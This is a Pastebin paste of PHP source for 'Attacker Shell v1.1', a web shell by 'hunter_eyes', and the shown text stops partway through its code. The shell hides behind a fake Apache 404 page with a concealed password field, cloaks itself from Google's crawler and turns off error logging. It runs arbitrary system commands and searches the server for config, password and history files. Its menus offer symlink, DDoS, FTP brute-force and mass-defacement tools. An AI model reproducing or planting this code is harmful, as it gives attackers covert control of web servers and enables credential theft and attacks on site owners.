honaalqahera

hunter_eyes-attacker-shell

Mar 27th, 2015
389
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 90.80 KB | None | 0 0
  1. <?php
  2.  
  3. $auth_pass = "3f858cf8cfd59f25010e71b6b5671428";
  4. $default_action = 'Expl';
  5. @define('SELF_PATH', __FILE__);
  6. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  7.     arHeader('HTTP/1.0 404 Not Found');
  8.     exit;
  9. }
  10. @session_start();
  11. @error_reporting(0);
  12. @ini_set('error_log',NULL);
  13. @ini_set('log_errors',0);
  14. @ini_set('max_execution_time',0);
  15. @set_time_limit(0);
  16. @set_magic_quotes_runtime(0);
  17. @define('TITLE', 'Attacker Shell v1.1');
  18.  
  19. if(get_magic_quotes_gpc()) {
  20.     function ARstripslashes($array) {
  21.         return is_array($array) ? array_map('ARstripslashes', $array) : stripslashes($array);
  22.     }
  23.     $_POST = ARstripslashes($_POST);
  24.     $_COOKIE = ARstripslashes($_COOKIE);
  25. }
  26.  
  27. function arLogin() {
  28.   echo "<h1>Not Found</h1>
  29. <p>The requested URL was not found on this server.</p>
  30. <hr>
  31. ";
  32. echo '<address> Apache Server at '. $_SERVER['HTTP_HOST']. ' Port 80</address>';
  33.   echo"  <style>
  34.        input { margin:0;background-color:#fff;border:1px solid #fff; }
  35.    </style>
  36.    <center>
  37.    <form method=post>
  38.    <input type=password name=pass>
  39.    </form></center>
  40. ";
  41. exit;
  42. }
  43.  
  44.  
  45. function ARsetcookie($k, $v) {
  46.     $_COOKIE[$k] = $v;
  47.     setcookie($k, $v);
  48. }
  49.  
  50. if(!empty($auth_pass)) {
  51.     if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
  52.         ARsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
  53.  
  54.     if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
  55.         arLogin();
  56. }
  57.  
  58. if(strtolower(substr(PHP_OS,0,3)) == "win")
  59.     $os = 'win';
  60. else
  61.     $os = 'nix';
  62.  
  63. $safe_mode = @ini_get('safe_mode');
  64. if(!$safe_mode)
  65.     error_reporting(0);
  66.  
  67. $disable_functions = @ini_get('disable_functions');
  68. $home_cwd = @getcwd();
  69. if(isset($_POST['c']))
  70.     @chdir($_POST['c']);
  71. $cwd = @getcwd();
  72. if($os == 'win') {
  73.     $home_cwd = str_replace("\\", "/", $home_cwd);
  74.     $cwd = str_replace("\\", "/", $cwd);
  75. }
  76. if($cwd[strlen($cwd)-1] != '/')
  77.     $cwd .= '/';
  78.  
  79. if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  80.     $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
  81.  
  82. if($os == 'win')
  83.     $aliases = array("List Directory" => "dir","Find index.php in current dir" => "dir /s /w /b index.php","Find *config*.php in current dir" => "dir /s /w /b *config*.php","Show active connections" => "netstat -an","Show running services" => "net start","User accounts" => "net user","Show computers" => "net view","ARP Table" => "arp -a","IP Configuration" => "ipconfig /all");
  84. else
  85.     $aliases = array("List dir" => "ls -lha","list file attributes on a Linux second extended file system" => "lsattr -va","show opened ports" => "netstat -an | grep -i listen","process status" => "ps aux","Find" => "","find all suid files" => "find / -type f -perm -04000 -ls","find suid files in current dir" => "find . -type f -perm -04000 -ls","find all sgid files" => "find / -type f -perm -02000 -ls","find sgid files in current dir" => "find . -type f -perm -02000 -ls","find config.inc.php files" => "find / -type f -name config.inc.php","find config* files" => "find / -type f -name \"config*\"","find config* files in current dir" => "find . -type f -name \"config*\"","find all writable folders and files" => "find / -perm -2 -ls","find all writable folders and files in current dir" => "find . -perm -2 -ls","find all service.pwd files" => "find / -type f -name service.pwd","find service.pwd files in current dir" => "find . -type f -name service.pwd","find all .htpasswd files" => "find / -type f -name .htpasswd","find .htpasswd files in current dir" => "find . -type f -name .htpasswd","find all .bash_history files" => "find / -type f -name .bash_history","find .bash_history files in current dir" => "find . -type f -name .bash_history","find all .fetchmailrc files" => "find / -type f -name .fetchmailrc","find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc","Locate" => "","locate httpd.conf files" => "locate httpd.conf","locate vhosts.conf files" => "locate vhosts.conf","locate proftpd.conf files" => "locate proftpd.conf","locate psybnc.conf files" => "locate psybnc.conf","locate my.conf files" => "locate my.conf","locate admin.php files" =>"locate admin.php","locate cfg.php files" => "locate cfg.php","locate conf.php files" => "locate conf.php","locate config.dat files" => "locate config.dat","locate config.php files" => "locate config.php","locate config.inc files" => "locate config.inc","locate config.inc.php" => "locate config.inc.php","locate config.default.php files" => "locate config.default.php","locate config* files " => "locate config","locate .conf files"=>"locate '.conf'","locate .pwd files" => "locate '.pwd'","locate .sql files" => "locate '.sql'","locate .htpasswd files" => "locate '.htpasswd'","locate .bash_history files" => "locate '.bash_history'","locate .mysql_history files" => "locate '.mysql_history'","locate .fetchmailrc files" => "locate '.fetchmailrc'","locate backup files" => "locate backup","locate dump files" => "locate dump","locate priv files" => "locate priv");
  86.  
  87. function arHeader() {
  88.     if(empty($_POST['charset']))
  89.         $_POST['charset'] = $GLOBALS['default_charset'];
  90.     global $color;
  91.     if(!$color)    $color = 'white';
  92.  
  93. echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . TITLE ."</title>
  94. <style type='text/css'>
  95. input[type=submit], input[type=button], input[type=reset]{
  96.    text-align:center;
  97.    background:repeat-x center bottom #141414;
  98.    border:1px solid #393939;
  99.    color:#fff;
  100.    border-top-color:#393939;
  101.    padding:4px 4px;
  102.    margin:2px 3px;
  103.    height:16px;
  104.    -moz-box-shadow:0 0 1px black;
  105.    -webkit-box-shadow:0 0 1px black;
  106.    box-shadow:0 0 1px black;
  107.    text-shadow:0 1px black;
  108.    -moz-border-radius:6px;
  109.    -webkit-border-radius:9px;
  110.    -khtml-border-radius:4px;
  111.    border-radius:9px;
  112.    height:23px;
  113. }
  114.  
  115. input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
  116.    background-position:center top;
  117.    text-decoration:none;
  118. }
  119. input[type=text], input[type=password]{
  120.    outline:none;
  121.    transition: all 0.20s ease-in-out;
  122.    -webkit-transition: all 0.20s ease-in-out;
  123.    -moz-transition: all 0.20s ease-in-out;
  124.    border:1px solid rgba(0,0,0, 0.2);
  125.    background:#111111;
  126.    border:0;
  127.    padding:2px;
  128.    border-bottom:1px solid #393939;
  129.    font-size:11px;
  130.    color:#ffffff;
  131.    -moz-border-radius: 6px;
  132.    border-radius: 9px;
  133.    border:1px solid #4C83AF;
  134.    margin:4px 0 8px 0;
  135. }
  136. input[type=text]{
  137.    background:#111111;
  138.    color:#0F0;
  139.    margin:0 4px;
  140.    border:1px solid #555555;
  141. }
  142. input[type=submit]:hover ,input[type=text]:hover{
  143.    background:#222222;
  144.    border-left:1px solid #4C83AF;
  145.    border-right:1px solid #4C83AF;
  146.    border-bottom:1px solid #4C83AF;
  147.    border-top:1px solid #4C83AF;
  148. }
  149. input:focus, textarea:focus {
  150.    outline: 0;
  151.    border-color: rgba(82, 168, 236, 0.8);
  152.    -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  153.    -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  154.    box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  155.    background:#191919;';
  156.    overflow: auto;
  157. }
  158. *{
  159.    text-shadow: 0pt 0pt 0.3em rgb(153, 153, 153);
  160.    font-size:11px;
  161.    font-family:Tahoma,Verdana,Arial;
  162. }
  163. body{
  164.    background:#010101;
  165.    color:#fff;
  166. }
  167. body,td,th{
  168.    font: 9pt Lucida,Verdana;
  169.    margin:0;vertical-align:top;
  170.    color:#fff;
  171. }
  172. table.info{
  173.    color:#fff;
  174.    background-color:#010101;
  175. }
  176. span,h1,a{
  177.    color: $color !important;
  178. }
  179. span{
  180.    font-weight: bolder;
  181. }
  182. div.content{
  183.    height: auto;
  184.    width: auto;
  185.    border: 2px solid #333;
  186.    color: #999;
  187.    font-size: 12px;
  188.    font-family: Verdana, Geneva, sans-serif;
  189.    background-color: #000;
  190. }
  191. a {
  192.    text-decoration:none;
  193.    color: rgba(35,96,156,1.5) !important;
  194. }
  195. a:hover{
  196.    border-bottom:1px solid #4C83AF;
  197. }
  198. .ml1{
  199.    border:1px solid #000;
  200.    padding:5px;margin:0;
  201.    overflow: auto;
  202. }
  203. .bigarea{
  204.    width:100%;
  205.    height:300px;
  206. }
  207. input,textarea,select{
  208.    margin:0;
  209.    color:#fff;
  210.    background-color:#141414;
  211. }
  212. select{
  213.    background:#111111;
  214.    color:#0F0;
  215.    margin:0 4px;
  216.    border:1px solid #555555;
  217. }
  218. textarea{
  219.    background:#111111;
  220.    color:#0F0;
  221.    margin:0 4px;
  222.    border:1px solid #555555;
  223. }
  224. #menu{
  225.    font-family:orbitron;
  226.    background: #111111;
  227.    margin:5px 2px 4px 2px;
  228. }
  229. #menu ul {
  230.    margin:0;
  231.    padding:0;
  232.    float:left;
  233.    -moz-border-radius: 6px;
  234.    border-radius: 9px;
  235.    border:1px solid #555555;
  236. }
  237. #menu li {
  238.    position:relative;
  239.    display:block;
  240.    float:left;
  241. }
  242. #menu a{
  243.    display:block;
  244.    float:left;
  245.    font-family:orbitron;
  246.    padding:4px 6px;
  247.    margin:0;
  248.    text-decoration:none;
  249.    letter-spacing:1px;
  250.    color:white;
  251. }
  252. #menu a:hover{
  253.    background:rgba(35,96,156,0.2);
  254.    font-family:orbitron;
  255.    border-bottom:0px;
  256. }
  257. #menu li:hover>ul a:hover{
  258.    width:127;
  259.    background:rgba(35,96,156,0.2);
  260. }
  261. #menu li:hover>ul{
  262.    left:0px;
  263.    border-left:1px solid white;
  264. }
  265. #menu ul ul{
  266.    position:absolute;
  267.    top:18px;left:-990em;
  268.    width:140px;
  269.    padding:5px 0 5px 0;
  270.    background:black;
  271.    margin-top:2px;
  272. }
  273. form{
  274.    margin:0px;
  275. }
  276. #toolsTbl{
  277.    text-align:center;
  278. }
  279. h1{
  280.    border-left:0px solid $color;
  281.    padding: 0px;
  282.    font: 13pt Verdana;
  283.    background-color:#auto;
  284. }
  285. .main th{
  286.    text-align:left;
  287.    background:#191919;
  288.    border-bottom:0px solid #333333;
  289.    font-weight:normal;
  290. }
  291. .main tr:hover{
  292.    background:rgba(35,96,156,0.2);
  293. }
  294.  
  295. </style>
  296. <script>
  297.    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  298.    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  299.    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  300.    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  301.    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  302.    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  303.    var d = document;
  304.    function set(a,c,p1,p2,p3,charset) {
  305.        if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  306.        if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  307.        if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
  308.        if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  309.        if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
  310.        if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
  311.    }
  312.    function g(a,c,p1,p2,p3,charset) {
  313.        set(a,c,p1,p2,p3,charset);
  314.        d.mf.submit();
  315.    }
  316.    function a(a,c,p1,p2,p3,charset) {
  317.        set(a,c,p1,p2,p3,charset);
  318.        var params = 'ajax=true';
  319.        for(i=0;i<d.mf.elements.length;i++)
  320.            params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
  321.        sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  322.    }
  323.    function sr(url, params) {
  324.        if (window.XMLHttpRequest)
  325.            req = new XMLHttpRequest();
  326.        else if (window.ActiveXObject)
  327.            req = new ActiveXObject('Microsoft.XMLHTTP');
  328.        if (req) {
  329.            req.onreadystatechange = processReqChange;
  330.            req.open('POST', url, true);
  331.            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  332.            req.send(params);
  333.        }
  334.    }
  335.    function processReqChange() {
  336.        if( (req.readyState == 4) )
  337.            if(req.status == 200) {
  338.                var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  339.                var arr=reg.exec(req.responseText);
  340.                eval(arr[2].substr(0, arr[1]));
  341.            } else alert('Request error!');
  342.    }
  343.  
  344. </script>
  345. <head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'>
  346. <form method=post name=mf style='display:none;'>
  347. <input type=hidden name=a>
  348. <input type=hidden name=c>
  349. <input type=hidden name=p1>
  350. <input type=hidden name=p2>
  351. <input type=hidden name=p3>
  352. <input type=hidden name=charset>
  353. </form>";
  354.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  355.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  356.     $totalSpace = $totalSpace?$totalSpace:1;
  357.     $release = @php_uname('r');
  358.     $kernel = @php_uname('s');
  359.     $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
  360.     $bing = 'http://www.bing.com/search?q=ip:'. @$_SERVER["SERVER_ADDR"] ;
  361.     if(strpos('Linux', $kernel) !== false)
  362.         $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
  363.     else
  364.         $explink .= urlencode($kernel . ' ' . substr($release,0,3));
  365.     if(!function_exists('posix_getegid')) {
  366.         $user = @get_current_user();
  367.         $uid = @getmyuid();
  368.         $gid = @getmygid();
  369.         $group = "?";
  370.     } else {
  371.         $uid = @posix_getpwuid(posix_geteuid());
  372.         $gid = @posix_getgrgid(posix_getegid());
  373.         $user = $uid['name'];
  374.         $uid = $uid['uid'];
  375.         $group = $gid['name'];
  376.         $gid = $gid['gid'];
  377.     }
  378.  
  379.     $cwd_links = '';
  380.     $path = explode("/", $GLOBALS['cwd']);
  381.     $n=count($path);
  382.     for($i=0; $i<$n-1; $i++) {
  383.         $cwd_links .= "<a href='#' onclick='g(\"Expl\",\"";
  384.         for($j=0; $j<=$i; $j++)
  385.             $cwd_links .= $path[$j].'/';
  386.         $cwd_links .= "\")'>".$path[$i]."/</a>";
  387.     }
  388.  
  389.     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  390.     $opt_charsets = '';
  391.     foreach($charsets as $item)
  392.         $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  393.  
  394.     $drives = "";
  395.     if($GLOBALS['os'] == 'win') {
  396.         foreach(range('c','z') as $drive)
  397.         if(is_dir($drive.':\\'))
  398.             $drives .= '<a href="#" onclick="g(\'Expl\',\''.$drive.':/\')"><span>|</span> '.$drive.'<span> |</span></a> ';
  399.     }
  400.     $on   = "<font color=#0F0> ON </font>";
  401.     $of   = "<font color=red> OFF </font>";
  402.     $none = "<font color=#0F0> NONE </font>";
  403.     if(function_exists('curl_version'))
  404.       $curl = $on;
  405.     else
  406.       $curl = $of;
  407.     if(function_exists('mysql_get_client_info'))
  408.        $mysql = $on;
  409.     else
  410.        $mysql = $of;
  411.     if(function_exists('mssql_connect'))
  412.       $mssql = $on;
  413.     else
  414.       $mssql = $of;
  415.     if(function_exists('pg_connect'))
  416.       $pg = $on;
  417.     else
  418.       $pg = $of;
  419.     if(function_exists('oci_connect'))
  420.       $or = $on;
  421.     else
  422.       $or = $of;
  423.     if(@ini_get('open_basedir'))
  424.       $open_b = @ini_get('open_basedir');
  425.     else
  426.       $open_b = $none;
  427.     if(@ini_get('safe_mode_exec_dir'))
  428.       $safe_exe = @ini_get('safe_mode_exec_dir');
  429.     else
  430.       $safe_exe = $none;
  431.     if(@ini_get('safe_mode_include_dir'))
  432.       $safe_include = @ini_get('safe_mode_include_dir');
  433.     else
  434.       $safe_include = $none;
  435.  
  436.     echo '<table class=info cellpadding=3 cellspacing=0 width=100%>'
  437.        . '<td><nobr>'. '<span>Uname -a: </span>' . substr(@php_uname(), 0, 120)
  438.        . '&nbsp;<a href="' . $explink . '" target=_blank>|exploit-db.com|</a></nobr><br>
  439.          <span>User: </span>' . $uid . ' ( ' . $user . ' ) <br>
  440.          <span>Group: </span> ' . $gid . ' ( ' . $group . ' )<br>
  441.          <span>Server: </span>'.@getenv('SERVER_SOFTWARE').'<br>
  442.          <span><font color="Red">Server IP: </font></span>' . @$_SERVER["SERVER_ADDR"] . '&nbsp;|&nbsp;<span><font color="Red">Your IP: </font></span>' . $_SERVER['REMOTE_ADDR'] . '<br>
  443.          <span>Safe Mode: </span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON (Secure)</font>':'<font color=green><b>OFF (Not Secure)</b></font>')
  444.        . '<br><span>PHP Version: </span>' . @phpversion() . '&nbsp;<a href=# onclick="g(\'Eval\',null,\'\',\'info\')">|phpinfo|</a><br>
  445.          <span>Date & Time: </span> ' . date('Y-m-d H:i:s')
  446.        . '<br><Span>HDD: </Span>' . arViewSize($totalSpace)
  447.        . '<br><span>Free: </span> ' . arViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>
  448.          <span>cURL:'. $curl.'  MySQL:'.$mysql.'  MSSQL:'.$mssql.'  PostgreSQL:'.$pg.'  Oracle:'.$or.' </span><br>
  449.          <span>Open_basedir:'.$open_b.' Safe_mode_exec_dir:'.$safe_exe.'   Safe_mode_include_dir:'.$safe_include.'</span><br>
  450.          <span>Detected drives: </span>' . $drives . ' ~~>
  451.          <span>PWD: </span>' . $cwd_links . ' '. arPermsColor($GLOBALS['cwd']) . '&nbsp;<a href=# onclick="g(\'Expl\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><font color="Red">|HMOE|</font></a></td>'
  452.        . '<td width=1 align=right><nobr><h2 style="font-size:40px; color:rgba(35,96,156,0.3) ">Attacker Shell</h2><br /><h2 style="font-size:40px; color:rgba(35,96,156,0.3) ">hunter_eyes</h2></nobr></td></tr></table>'
  453.        . '<div id="menu"><ul class="menu">
  454.  
  455.          <li><a href="#" onclick="g(\'Expl\',null,\'\',\'\',\'\')">EXPLOITER</a></li>
  456.          <li><a href="#" onclick="g(\'Exec\',null,\'\',\'\',\'\')">SHELL</a></li>
  457.          <li><a href="#" onclick="g(\'Eval\',null,\'\',\'\',\'\')">EVAL</a></li>
  458.          <li><a href="#" onclick="g(\'SafeMode\',null,\'\',\'\',\'\')">SAFE MODE</a></li>
  459.          <li><a>SYMLINK</a><ul>
  460.          <li><a href=# onclick="g(\'symlink\',null,\'website\',null)">Domains</a></li>
  461.          <li><a href=# onclick="g(\'symlink\',null,null,\'whole\')">Whole Server Symlink</a></li>
  462.          <li><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">Config PHP symlink</a></li></ul></li>
  463.          <li><a href="#" onclick="g(\'Mass\',null,\'\',\'\',\'\')">MASS</a></li>
  464.          <li><a href="#" onclick="g(\'DDos\',null,\'\',\'\',\'\')">DDOS</a></li>
  465.          <li><a href="#" onclick="g(\'Sql\',null,\'\',\'\',\'\')">SQL</a></li>
  466.          <li><a href="#" onclick="g(\'FTPB\',null,\'\',\'\',\'\')">FTP BRUTE</a></li>
  467.          <li><a href="#" onclick="g(\'String\',null,\'\',\'\',\'\')">HASH</a></li>
  468.          <li><a href="#" onclick="g(\'Network\',null,\'\',\'\',\'\')">NETWORK</a></li>
  469.          <li><a href="#" onclick="g(\'Sec\',null,\'\',\'\',\'\')">SEC INFO</a></li>
  470.          <li><a href="#" onclick="g(\'Zoneh\',null,\'\',\'\',\'\')">ZONE-H</a></li>
  471.          <li><a href="' . $bing . '"target=_blank>BING</a></li>
  472.          <li><a href="#" onclick="g(\'About\',null,\'\',\'\',\'\')">ABOUT</a></li>
  473.          <li><a href="#" onclick="g(\'Logout\',null,\'\',\'\',\'\')">LOGOUT</a></li>
  474.          <li><a href="#" onclick="g(\'Remove\',null,\'\',\'\',\'\')">KIll CODE</a></li>
  475.          </ul></div>';
  476.  
  477.   echo "<table class=info cellpadding=3 cellspacing=0 align=left width=100%'>
  478.          <td><form onsubmit=\"g('Exec',null,this.c.value);return false;\"><span>Execute:</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input class='toolsInp' type=text name=c value='' style='width:55%;'><input type=submit value='Execute' style='width:12%;'></form>
  479.          <form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span>&nbsp;&nbsp;<input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."' style='width:55%;'><input type=submit value='Change' style='width:12%;'></form>
  480.          </td><td>
  481.          <form onsubmit=\"g('Expl',null,'mkdir',this.d.value);return false;\"><span>Make dir: </span>$is_writable<input class='toolsInp' type=text name=d style='width:55%;'><input type=submit value='Make' style='width:12%;'></form>
  482.          <form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<input class='toolsInp' type=text name=f style='width:55%;'><input type=submit value='Make' style='width:12%;'></form>
  483.          </td>
  484.          </table>";
  485. }
  486.  
  487. if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
  488.     function posix_getpwuid($p) {return false;} }
  489. if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
  490.     function posix_getgrgid($p) {return false;} }
  491.  
  492. function arEx($in) {
  493.     $out = '';
  494.     if (function_exists('exec')) {
  495.         @exec($in,$out);
  496.         $out = @join("\n",$out);
  497.     } elseif (function_exists('passthru')) {
  498.         ob_start();
  499.         @passthru($in);
  500.         $out = ob_get_clean();
  501.     } elseif (function_exists('system')) {
  502.         ob_start();
  503.         @system($in);
  504.         $out = ob_get_clean();
  505.     } elseif (function_exists('shell_exec')) {
  506.         $out = shell_exec($in);
  507.     } elseif (is_resource($f = @popen($in,"r"))) {
  508.         $out = "";
  509.         while(!@feof($f))
  510.             $out .= fread($f,1024);
  511.         pclose($f);
  512.     }
  513.     return $out;
  514. }
  515.  
  516. function arViewSize($s) {
  517.     if($s >= 1073741824)
  518.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  519.     elseif($s >= 1048576)
  520.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  521.     elseif($s >= 1024)
  522.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  523.     else
  524.         return $s . ' B';
  525. }
  526.  
  527. function arPerms($p) {
  528.     if (($p & 0xC000) == 0xC000)$i = 's';
  529.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  530.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  531.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  532.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  533.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  534.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  535.     else $i = 'u';
  536.     $i .= (($p & 0x0100) ? 'r' : '-');
  537.     $i .= (($p & 0x0080) ? 'w' : '-');
  538.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  539.     $i .= (($p & 0x0020) ? 'r' : '-');
  540.     $i .= (($p & 0x0010) ? 'w' : '-');
  541.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  542.     $i .= (($p & 0x0004) ? 'r' : '-');
  543.     $i .= (($p & 0x0002) ? 'w' : '-');
  544.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  545.     return $i;
  546. }
  547.  
  548. function arPermsColor($f) {
  549.     if (!@is_readable($f))
  550.         return '<font color=#FF0000>' . arPerms(@fileperms($f)) . '</font>';
  551.     elseif (!@is_writable($f))
  552.         return '<font color=white>' . arPerms(@fileperms($f)) . '</font>';
  553.     else
  554.         return '<font color=#25ff00>' . arPerms(@fileperms($f)) . '</font>';
  555. }
  556.  
  557. function arScandir($dir) {
  558.     if(function_exists("scandir")) {
  559.         return scandir($dir);
  560.     } else {
  561.         $dh  = opendir($dir);
  562.         while (false !== ($filename = readdir($dh)))
  563.             $files[] = $filename;
  564.         return $files;
  565.     }
  566. }
  567.  
  568. function arWhich($p) {
  569.     $path = arEx('which ' . $p);
  570.     if(!empty($path))
  571.         return $path;
  572.     return false;
  573. }
  574.  
  575. function actionSec() {
  576.     arHeader();
  577.     echo '<h1>Server security information</h1><div class=content>';
  578.     function arSecParam($n, $v) {
  579.         $v = trim($v);
  580.         if($v) {
  581.             echo '<span>' . $n . ': </span>';
  582.             if(strpos($v, "\n") === false)
  583.                 echo $v . '<br>';
  584.             else
  585.                 echo '<pre class=ml1>' . $v . '</pre>';
  586.         }
  587.     }
  588.  
  589.     arSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  590.     if(function_exists('apache_get_modules'))
  591.         arSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
  592.     arSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  593.     arSecParam('Open base dir', @ini_get('open_basedir'));
  594.     arSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  595.     arSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  596.     arSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  597.     $temp=array();
  598.     if(function_exists('mysql_get_client_info'))
  599.         $temp[] = "MySql (".mysql_get_client_info().")";
  600.     if(function_exists('mssql_connect'))
  601.         $temp[] = "MSSQL";
  602.     if(function_exists('pg_connect'))
  603.         $temp[] = "PostgreSQL";
  604.     if(function_exists('oci_connect'))
  605.         $temp[] = "Oracle";
  606.     arSecParam('Supported databases', implode(', ', $temp));
  607.     echo '<br>';
  608.  
  609.     if($GLOBALS['os'] == 'nix') {
  610.             arSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  611.             arSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
  612.             arSecParam('OS version', @file_get_contents('/proc/version'));
  613.             arSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  614.             if(!$GLOBALS['safe_mode']) {
  615.                 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  616.                 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  617.                 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  618.                 echo '<br>';
  619.                 $temp=array();
  620.                 foreach ($userful as $item)
  621.                     if(arWhich($item))
  622.                         $temp[] = $item;
  623.                 arSecParam('Userful', implode(', ',$temp));
  624.                 $temp=array();
  625.                 foreach ($danger as $item)
  626.                     if(arWhich($item))
  627.                         $temp[] = $item;
  628.                 arSecParam('Danger', implode(', ',$temp));
  629.                 $temp=array();
  630.                 foreach ($downloaders as $item)
  631.                     if(arWhich($item))
  632.                         $temp[] = $item;
  633.                 arSecParam('Downloaders', implode(', ',$temp));
  634.                 echo '<br/>';
  635.                 arSecParam('HDD space', arEx('df -h'));
  636.                 arSecParam('Hosts', @file_get_contents('/etc/hosts'));
  637.                 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
  638.                     $temp = "";
  639.                     for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  640.                         $uid = @posix_getpwuid($_POST['p2']);
  641.                         if ($uid)
  642.                             $temp .= join(':',$uid)."\n";
  643.                     }
  644.                     echo '<br/>';
  645.                     arSecParam('Users', $temp);
  646.                 }
  647.             }
  648.     } else {
  649.         arSecParam('OS Version',arEx('ver'));
  650.         arSecParam('Account Settings',arEx('net accounts'));
  651.         arSecParam('User Accounts',arEx('net user'));
  652.     }
  653.     echo '</div>';
  654.     arFooter();
  655. }
  656.  
  657. function actionEval() {
  658.         if(isset($_POST['p2']) && ($_POST['p2'] == 'ini')) {
  659.                 echo '<div class=content>';
  660.                 ob_start();
  661.                 $INI=ini_get_all();
  662. print '<table border=0><tr>'
  663.         .'<td class="listing"><font class="highlight_txt">Param</td>'
  664.         .'<td class="listing"><font class="highlight_txt">Global value</td>'
  665.         .'<td class="listing"><font class="highlight_txt">Local Value</td>'
  666.         .'<td class="listing"><font class="highlight_txt">Access</td></tr>';
  667. foreach ($INI as $param => $values)
  668.         print "\n".'<tr>'
  669.                 .'<td class="listing"><b>'.$param.'</td>'
  670.                 .'<td class="listing">'.$values['global_value'].' </td>'
  671.                 .'<td class="listing">'.$values['local_value'].' </td>'
